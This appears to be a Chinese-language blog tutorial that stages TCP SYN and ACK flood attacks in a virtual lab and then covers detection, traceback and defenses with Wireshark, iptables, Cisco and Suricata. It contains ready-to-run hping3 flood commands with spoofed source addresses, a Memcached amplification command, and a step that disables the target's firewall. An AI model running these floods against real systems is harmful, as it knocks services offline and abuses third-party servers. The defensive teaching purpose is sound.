第3章 第18.3天
:连接资源的攻防博弈
大家好,今天我们从安全工程师的视角拆解TCP协议的攻防技术。通过实验室的真实攻防演练,我会展示如何利用TCP协议的特性进行资源耗尽攻击,以及如何构建有效防御。我们将使用Kali Linux和Windows 10构建实验环境,模拟真实攻击场景。( ̄ω ̄;)
一、实验环境搭建:攻防沙箱配置
核心设备:
- 攻击机:Kali Linux 2023(IP:192.168.146.4)
- 靶机:Windows 10 Pro(IP:192.168.146.5)
网络验证与准备:
# Kali终端验证连通性
ping -c 4 192.168.146.5
# 输出示例:
# 64 bytes from 192.168.146.5: icmp_seq=1 ttl=128 time=0.8ms
# 关闭Windows防火墙(实验期间)
Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False
# 创建防御快照(重要!)
VBoxManage snapshot "Win10-Target" take "Pre-TCP-Attack"
二、SYN洪水攻击:耗尽连接资源
攻击原理:
- 利用TCP三次握手缺陷:只发送SYN不完成握手
- 靶机维护半开连接队列,耗尽后拒绝新连接
攻击命令解析:
sudo hping3 \
-a 8.8.8.8 \# 伪造Google IP(规避基础过滤)
-S \# 设置SYN标志位(SYN洪水)
-p 888 \# 目标端口(可自定义)
--flood \# 洪水模式(最大发包速率)
--fast \# 高速模式(提升PPS)
192.168.146.5# 目标IP
靶机状态监测:
# Windows查看半开连接数
Get-NetTCPConnection -State SynReceived | Measure-Object | Select-Object Count
# 正常:0-5
# 攻击中:>1000(系统默认队列满)
三、ACK洪水攻击:消耗处理资源
攻击原理:
- 发送海量ACK包
- 迫使靶机查询连接状态并回复RST
- 消耗CPU/带宽资源
攻击命令:
sudo hping3 \
-a 8.8.8.8 \# 伪造源IP
-A \# 设置ACK标志位
-p 888 \# 目标端口
--flood \# 洪水模式
192.168.146.5
资源消耗观测:
# Windows监控CPU和网络
Get-Counter '\Processor(*)\% Processor Time' # CPU使用率
Get-NetAdapterStatistics -Name "Ethernet"# 接收包速率
四、Wireshark流量分析:攻击特征识别
SYN洪水特征:
- 高比例SYN包:SYN包占比>90%
tcp.flags.syn == 1 and tcp.flags.ack == 0
- 伪造源IP:随机源IP+固定目标端口
No.TimeSourceDestinationProtocol Info
10010.0000018.8.8.8192.168.146.5 TCPSYN
10020.0000031.1.1.1192.168.146.5 TCPSYN
10030.000005192.0.2.1192.168.146.5 TCPSYN
- 无后续握手:仅有SYN无SYN+ACK响应
ACK洪水特征:
- ACK包风暴:ACK包占比极高
tcp.flags.ack == 1 and tcp.flags.syn == 0
- 无关联连接:ACK序列号随机
No.TimeSourceDestinationProtocol Info
20010.0000018.8.8.8192.168.146.5 TCPACK
20020.0000038.8.8.8192.168.146.5 TCPACK
20030.0000058.8.8.8192.168.146.5 TCPACK
五、防御策略:四层防护体系
1. 操作系统层(SYN Cookies)
# Windows启用SYN攻击防护(默认开启)
Set-NetTCPSetting -SettingName InternetCustom -SynAttackProtection 1
2. 网络设备层(Cisco防护)
! 启用TCP拦截
ip tcp intercept mode intercept
ip tcp intercept list 101
access-list 101 permit tcp any host 192.168.146.5
! ACK洪水防护
access-list 150 deny tcp any any established
rate-limit input access-group 150 512000 80000 80000 conform-action transmit exceed-action drop
3. 防火墙层(状态检测)
# Linux iptables防御SYN洪水
iptables -A INPUT -p tcp --syn -m limit --limit 1/s --limit-burst 3 -j ACCEPT
iptables -A INPUT -p tcp --syn -j DROP
# 防御ACK洪水
iptables -A INPUT -p tcp ! --syn -m state --state NEW -j DROP
4. 入侵防御层(Suricata规则)
# SYN洪水检测
alert tcp any any -> 192.168.146.5 any (
msg:"SYN Flood Attack";
flags: S;
threshold: type both, track by_dst, count 100, seconds 1;
sid:3001;
)
# ACK洪水检测
alert tcp any any -> 192.168.146.5 any (
msg:"ACK Flood Attack";
flags: A;
threshold: type both, track by_dst, count 1000, seconds 1;
sid:3002;
)
六、攻击溯源:追踪技术实践
SYN洪水溯源:
- 反向探测:对可疑IP发送SYN+ACK
# 使用nmap探测
nmap -sA -p 888 8.8.8.8
# 若返回RST则为真实主机,无响应为伪造
- TTL一致性分析:
# Python提取TTL值(Scapy示例)
from scapy.all import *
pkts = rdpcap('syn_flood.pcap')
for pkt in pkts:
if pkt.haslayer(IP) and pkt.haslayer(TCP) and pkt[TCP].flags == 'S':
print(f"Source: {pkt[IP].src} TTL: {pkt[IP].ttl}")
# 输出:8.8.8.8 TTL:255 → 本地伪造特征
ACK洪水溯源:
- 载荷模式分析:攻击包常为纯ACK无载荷
# tshark提取包长度
tshark -r ack_flood.pcap -Y "tcp.flags.ack==1" -T fields -e frame.len | sort | uniq -c
# 输出:100000 54 → 最小TCP包(20B IP头+20B TCP头+14B以太网帧)
七、现代攻击演进:分布式反射攻击
Memcached DRDoS:
# 利用Memcached放大攻击
hping3 -a 192.168.146.5 --udp -p 11211 --flood --data 15 memcached.server
# 15字节请求触发数MB响应
防御方案:
- 云清洗中心:阿里云DDoS防护
- ISP协作:在骨干网过滤伪造源IP流量
- 服务加固:关闭UDP端口11211
总结:TCP攻防的本质
- 资源不对称:攻击者低消耗 vs 防御者高负载
- 协议级防御:SYN Cookies/状态检测
- 架构级防护:分布式清洗+流量调度
实验建议:
- 测试不同端口(80/443)的攻击效果差异
- 对比SYN Cookies开启/关闭时的系统表现
- 编写BPF程序在内核层过滤攻击包
当你在凌晨三点守护校园网络时,TCP洪水攻击可能随时来袭。理解攻击原理,才能构建更可靠的防御体系。(´-ω-`)
感谢浏览和学习,作者:鱼油YOU,转载请注明原文链接:https://www.cnblogs.com/OmegaYOU3/p/19020814,或者可以➕主播WX:OmegaAnimeman_desu;QQ:3819054512
浙公网安备 33010602011771号